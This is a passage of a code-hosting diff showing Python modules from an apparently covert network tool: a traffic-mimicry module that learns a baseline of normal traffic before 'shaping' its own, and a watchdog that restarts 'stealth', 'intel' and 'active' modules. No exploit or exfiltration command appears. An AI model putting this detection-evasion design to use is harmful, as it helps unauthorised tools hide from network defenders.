# Hourly volume
|
||||
hour = str(time.localtime().tm_hour)
|
||||
if hour not in bd["hourly_volume"]:
|
||||
bd["hourly_volume"][hour] = {"total_bytes": 0, "upload_bytes": 0, "packets": 0}
|
||||
bytes_captured = payload.get("bytes_captured", 0)
|
||||
bd["hourly_volume"][hour]["total_bytes"] += bytes_captured
|
||||
bd["hourly_volume"][hour]["upload_bytes"] += payload.get("upload_bytes", 0)
|
||||
bd["hourly_volume"][hour]["packets"] += payload.get("packet_count", 0)
|
||||
|
||||
# Destination ports
|
||||
dest_ports = payload.get("dest_ports", {})
|
||||
for port, count in dest_ports.items():
|
||||
bd["common_dest_ports"][str(port)] = (
|
||||
bd["common_dest_ports"].get(str(port), 0) + count
|
||||
)
|
||||
|
||||
# TLS versions
|
||||
tls = payload.get("tls_versions", {})
|
||||
for ver, count in tls.items():
|
||||
bd["tls_versions"][ver] = bd["tls_versions"].get(ver, 0) + count
|
||||
|
||||
# Periodic intervals (from beacon-like patterns)
|
||||
intervals = payload.get("periodic_intervals", [])
|
||||
bd["periodic_intervals"].extend(intervals)
|
||||
# Keep only the top 50 intervals to bound memory
|
||||
if len(bd["periodic_intervals"]) > 50:
|
||||
bd["periodic_intervals"] = bd["periodic_intervals"][-50:]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: phase management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_loop(self) -> None:
|
||||
"""Background loop: check phase transitions and save baselines."""
|
||||
while self._running:
|
||||
time.sleep(60) # Check every minute
|
||||
try:
|
||||
if self._phase == PHASE_BASELINE:
|
||||
elapsed = self._baseline_hours_elapsed()
|
||||
if elapsed >= self._baseline_hours:
|
||||
self._transition_to_shaping()
|
||||
elif int(elapsed) % 4 == 0:
|
||||
# Save interim baseline every ~4 hours
|
||||
self._save_baseline()
|
||||
except Exception:
|
||||
logger.exception("TrafficMimicry monitor loop error")
|
||||
|
||||
def _transition_to_shaping(self) -> None:
|
||||
"""Switch from baseline collection to traffic shaping."""
|
||||
with self._lock:
|
||||
self._phase = PHASE_SHAPING
|
||||
self._save_baseline()
|
||||
logger.info(
|
||||
"TrafficMimicry: baseline complete (%d samples) — entering shaping phase",
|
||||
self._baseline_data["samples"],
|
||||
)
|
||||
self.bus.emit(
|
||||
"CHANGE_DETECTED",
|
||||
{"module": self.name, "detail": "baseline_complete", "phase": PHASE_SHAPING},
|
||||
source_module=self.name,
|
||||
)
|
||||
|
||||
def _baseline_hours_elapsed(self) -> float:
|
||||
if self._baseline_start is None:
|
||||
return 0.0
|
||||
return (time.time() - self._baseline_start) / 3600.0
|
||||
|
||||
def _baseline_completeness_pct(self) -> float:
|
||||
"""How complete is the baseline (0-100)?"""
|
||||
if self._phase == PHASE_SHAPING:
|
||||
return 100.0
|
||||
elapsed = self._baseline_hours_elapsed()
|
||||
time_pct = min(100.0, (elapsed / self._baseline_hours) * 100)
|
||||
# Also factor in data quality: need protocol and hourly data
|
||||
data_score = 0.0
|
||||
bd = self._baseline_data
|
||||
if bd["protocol_distribution"]:
|
||||
data_score += 25.0
|
||||
if len(bd["hourly_volume"]) >= 12:
|
||||
data_score += 25.0
|
||||
elif bd["hourly_volume"]:
|
||||
data_score += 10.0
|
||||
if bd["common_dest_ports"]:
|
||||
data_score += 25.0
|
||||
if bd["samples"] >= 10:
|
||||
data_score += 25.0
|
||||
return min(100.0, (time_pct * 0.6) + (data_score * 0.4))
|
||||
|
||||
def _baseline_complete(self, data: dict) -> bool:
|
||||
"""Check if a loaded baseline has sufficient data."""
|
||||
return (
|
||||
bool(data.get("protocol_distribution"))
|
||||
and len(data.get("hourly_volume", {})) >= 6
|
||||
and data.get("samples", 0) >= 5
|
||||
)
|
||||
|
||||
def _traffic_deviation_score(self) -> float:
|
||||
"""Score how much current traffic deviates from baseline (0=perfect, 100=no match).
|
||||
Only meaningful during shaping phase."""
|
||||
if self._phase == PHASE_BASELINE:
|
||||
return -1.0 # Not applicable
|
||||
# Placeholder: in production this would compare real-time traffic stats
|
||||
# against the baseline distribution. For now return 0 (no deviation data yet).
|
||||
return 0.0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: persistence
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _save_baseline(self) -> None:
|
||||
"""Persist baseline data to JSON."""
|
||||
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
|
||||
try:
|
||||
with self._lock:
|
||||
data = json.dumps(self._baseline_data, indent=2)
|
||||
with open(path, "w") as f:
|
||||
f.write(data)
|
||||
logger.debug("Baseline saved to %s", path)
|
||||
except Exception:
|
||||
logger.exception("Failed to save baseline")
|
||||
|
||||
def _load_baseline(self) -> Optional[dict]:
|
||||
"""Load baseline from disk if it exists."""
|
||||
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
|
||||
if not os.path.isfile(path):
|
||||
return None
|
||||
try:
|
||||
with open(path, "r") as f:
|
||||
return json.load(f)
|
||||
except Exception:
|
||||
logger.exception("Failed to load baseline from %s", path)
|
||||
return None
|
||||
@@ -0,0 +1,348 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Watchdog module — monitor all SystemMonitor modules and managed tools.
|
||||
|
||||
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
|
||||
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
|
||||
successful recovery.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import threading
|
||||
import time
|
||||
from typing import Dict, Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from core.bus import Event
|
||||
from utils.resource import get_process_resources
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# OOM priority assignments by module type
|
||||
_OOM_PRIORITIES = {
|
||||
"core": -500,
|
||||
"stealth": -400,
|
||||
"connectivity": -300,
|
||||
"intel": -200,
|
||||
"passive": 100,
|
||||
"active": 200,
|
||||
}
|
||||
|
||||
MAX_RESTART_ATTEMPTS = 3
|
||||
HEALTH_CHECK_INTERVAL = 30.0 # seconds
|
||||
|
||||
|
||||
class _ModuleEntry:
|
||||
"""Internal tracking for a monitored module."""
|
||||
__slots__ = ("name", "module_type", "pid", "restart_count", "last_check",
|
||||
"last_status", "failed")
|
||||
|
||||
def __init__(self, name: str, module_type: str, pid: int):
|
||||
self.name = name
|
||||
self.module_type = module_type
|
||||
self.pid = pid
|
||||
self.restart_count = 0
|
||||
self.last_check = 0.0
|
||||
self.last_status = "unknown"
|
||||
self.failed = False
|
||||
|
||||
|
||||
class Watchdog(BaseModule):
|
||||
"""Monitor modules and tools, auto-restart on failure, manage OOM priorities."""
|
||||
|
||||
name = "watchdog"
|
||||
module_type = "stealth"
|
||||
priority = -500
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._monitored: Dict[str, _ModuleEntry] = {}
|
||||
self._lock = threading.Lock()
|
||||
self._check_thread: Optional[threading.Thread] = None
|
||||
self._check_interval = HEALTH_CHECK_INTERVAL
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Subscribe to error/crash events
|
||||
self.bus.subscribe(self._on_module_error, event_type="MODULE_ERROR")
|
||||
self.bus.subscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
|
||||
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.subscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
|
||||
|
||||
# Populate initial monitoring list from state manager
|
||||
self._refresh_monitored_list()
|
||||
|
||||
# Start health check loop
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._check_thread = threading.Thread(
|
||||
target=self._health_check_loop, daemon=True, name="sensor-watchdog",
|
||||
)
|
||||
self._check_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("Watchdog active — monitoring %d modules", len(self._monitored))
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_module_error, event_type="MODULE_ERROR")
|
||||
self.bus.unsubscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
|
||||
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.unsubscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
|
||||
|
||||
if self._check_thread and self._check_thread.is_alive():
|
||||
self._check_thread.join(timeout=5.0)
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("Watchdog stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
health_report = []
|
||||
for name, entry in self._monitored.items():
|
||||
health_report.append({
|
||||
"module": entry.name,
|
||||
"module_type": entry.module_type,
|
||||
"pid": entry.pid,
|
||||
"status": entry.last_status,
|
||||
"restarts": entry.restart_count,
|
||||
"last_check": entry.last_check,
|
||||
"failed": entry.failed,
|
||||
})
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"monitored_count": len(self._monitored),
|
||||
"health_report": health_report,
|
||||
"check_interval_s": self._check_interval,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
self._check_interval = config.get("check_interval_s", HEALTH_CHECK_INTERVAL)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_module_started(self, event: Event) -> None:
|
||||
"""Register a newly started module for monitoring."""
|
||||
payload = event.payload
|
||||
name = payload.get("module", "")
|
||||
pid = payload.get("pid")
|
||||
module_type = payload.get("module_type", "passive")
|
||||
|
||||
if name and pid and name != self.name:
|
||||
with self._lock:
|
||||
self._monitored[name] = _ModuleEntry(name, module_type, pid)
|
||||
self._set_oom_priority(pid, module_type)
|
||||
logger.debug("Now monitoring: %s (PID %d, type %s)", name, pid, module_type)
|
||||
|
||||
def _on_module_stopped(self, event: Event) -> None:
|
||||
"""Remove a stopped module from monitoring."""
|
||||
name = event.payload.get("module", "")
|
||||
if name:
|
||||
with self._lock:
|
||||
self._monitored.pop(name, None)
|
||||
|
||||
def _on_module_error(self, event: Event) -> None:
|
||||
"""Handle a module error event — attempt restart."""
|
||||
name = event.payload.get("module", "")
|
||||
error = event.payload.get("error", "unknown")
|
||||
logger.warning("Module error reported: %s — %s", name, error)
|
||||
self._attempt_restart(name)
|
||||
|
||||
def _on_tool_crashed(self, event: Event) -> None:
|
||||
"""Handle a managed tool crash — delegate restart to engine/tool_manager."""
|
||||
tool = event.payload.get("tool", "")
|
||||
pid = event.payload.get("pid")
|
||||
logger.warning("Tool crashed: %s (PID %s)", tool, pid)
|
||||
|
||||
# Tool restarts are handled by tool_manager; we just log and track
|
||||
with self._lock:
|
||||
entry = self._monitored.get(tool)
|
||||
if entry:
|
||||
entry.restart_count += 1
|
||||
entry.last_status = "crashed"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Health check loop
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _health_check_loop(self) -> None:
|
||||
"""Periodic health check of all monitored modules."""
|
||||
while self._running:
|
||||
time.sleep(self._check_interval)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
self._run_health_checks()
|
||||
|
||||
def _run_health_checks(self) -> None:
|
||||
"""Check health of all monitored modules."""
|
||||
with self._lock:
|
||||
entries = list(self._monitored.values())
|
||||
|
||||
for entry in entries:
|
||||
if entry.failed:
|
||||
continue # Already gave up on this module
|
||||
|
||||
now = time.time()
|
||||
entry.last_check = now
|
||||
|
||||
# Check if process is alive
|
||||
if not self._is_pid_alive(entry.pid):
|
||||
logger.warning("Module %s (PID %d) is dead", entry.name, entry.pid)
|
||||
entry.last_status = "dead"
|
||||
self._attempt_restart(entry.name)
|
||||
continue
|
||||
|
||||
# Check process health via engine if available
|
||||
if self.engine:
|
||||
try:
|
||||
module_instance = self._get_module_instance(entry.name)
|
||||
if module_instance and hasattr(module_instance, "health_check"):
|
||||
healthy = module_instance.health_check()
|
||||
entry.last_status = "healthy" if healthy else "unhealthy"
|
||||
if not healthy:
|
||||
logger.warning("Module %s failed health check", entry.name)
|
||||
self._attempt_restart(entry.name)
|
||||
continue
|
||||
else:
|
||||
entry.last_status = "alive"
|
||||
except Exception as exc:
|
||||
logger.debug("Health check error for %s: %s", entry.name, exc)
|
||||
entry.last_status = "check_error"
|
||||
else:
|
||||
# No engine reference — just check PID is alive
|
||||
entry.last_status = "alive"
|
||||
|
||||
def _attempt_restart(self, module_name: str) -> None:
|
||||
"""Attempt to restart a failed module via the engine."""
|
||||
with self._lock:
|
||||
entry = self._monitored.get(module_name)
|
||||
if not entry:
|
||||
return
|
||||
if entry.failed:
|
||||
return
|
||||
|
||||
entry.restart_count += 1
|
||||
if entry.restart_count > MAX_RESTART_ATTEMPTS:
|
||||
entry.failed = True
|
||||
entry.last_status = "given_up"
|
||||
logger.error(
|
||||
"Module %s exceeded max restarts (%d) — giving up",
|
||||
module_name, MAX_RESTART_ATTEMPTS,
|
||||
)
|
||||
self.bus.emit(
|
||||
"MODULE_ERROR",
|
||||
{"module": module_name, "error": "max_restarts_exceeded",
|
||||
"restarts": entry.restart_count},
|
||||
source_module=self.name,
|
||||
)
|
||||
return
|
||||
|
||||
logger.info(
|
||||
"Attempting restart of %s (attempt %d/%d)",
|
||||
module_name, entry.restart_count, MAX_RESTART_ATTEMPTS,
|
||||
)
|
||||
|
||||
# Delegate restart to engine
|
||||
if self.engine and hasattr(self.engine, "restart_module"):
|
||||
try:
|
||||
success = self.engine.restart_module(module_name)
|
||||
if success:
|
||||
entry.last_status = "restarted"
|
||||
self.bus.emit(
|
||||
"MODULE_RESTARTED" if "MODULE_RESTARTED" in getattr(
|
||||
self.bus, '_subscribers', {}
|
||||
) else "TOOL_RESTARTED",
|
||||
{"module": module_name, "attempt": entry.restart_count},
|
||||
source_module=self.name,
|
||||
)
|
||||
# Publish MODULE_RESTARTED (it may not be in EVENT_TYPES but
|
||||
# subscribers can still listen for it)
|
||||
self.bus.emit(
|
||||
"TOOL_RESTARTED",
|
||||
{"module": module_name, "tool": module_name,
|
||||
"attempt": entry.restart_count},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("Successfully restarted %s", module_name)
|
||||
else:
|
||||
entry.last_status = "restart_failed"
|
||||
logger.error("Engine failed to restart %s", module_name)
|
||||
except Exception as exc:
|
||||
entry.last_status = "restart_error"
|
||||
logger.error("Restart error for %s: %s", module_name, exc)
|
||||
else:
|
||||
logger.warning("No engine available — cannot restart %s", module_name)
|
||||
entry.last_status = "no_engine"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# OOM priority management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _set_oom_priority(self, pid: int, module_type: str) -> None:
|
||||
"""Set OOM score adjustment for a process based on its module type."""
|
||||
score = _OOM_PRIORITIES.get(module_type, 0)
|
||||
oom_path = f"/proc/{pid}/oom_score_adj"
|
||||
try:
|
||||
with open(oom_path, "w") as f:
|
||||
f.write(str(score))
|
||||
logger.debug("Set OOM priority for PID %d: %d (%s)", pid, score, module_type)
|
||||
except (IOError, PermissionError) as exc:
|
||||
logger.debug("Cannot set OOM priority for PID %d: %s", pid, exc)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _refresh_monitored_list(self) -> None:
|
||||
"""Populate monitored list from state manager's module status."""
|
||||
try:
|
||||
all_status = self.state.get_all_module_status()
|
||||
with self._lock:
|
||||
for name, info in all_status.items():
|
||||
if name == self.name:
|
||||
continue
|
||||
if info.get("status") == "running" and info.get("pid"):
|
||||
self._monitored[name] = _ModuleEntry(
|
||||
name=name,
|
||||
module_type="unknown",
|
||||
pid=info["pid"],
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.debug("Could not refresh monitored list: %s", exc)
|
||||
|
||||
def _get_module_instance(self, module_name: str):
|
||||
"""Get a module instance from the engine if available."""
|
||||
if self.engine and hasattr(self.engine, "get_module"):
|
||||
return self.engine.get_module(module_name)
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def _is_pid_alive(pid: int) -> bool:
|
||||
"""Check if a process with the given PID exists."""
|
||||
try:
|
||||
os.kill(pid, 0)
|
||||
return True
|
||||
except (ProcessLookupError, PermissionError):
|
||||
return False
|
||||
except OSError:
|
||||
return False
|
||||
Reference in New Issue
Block a user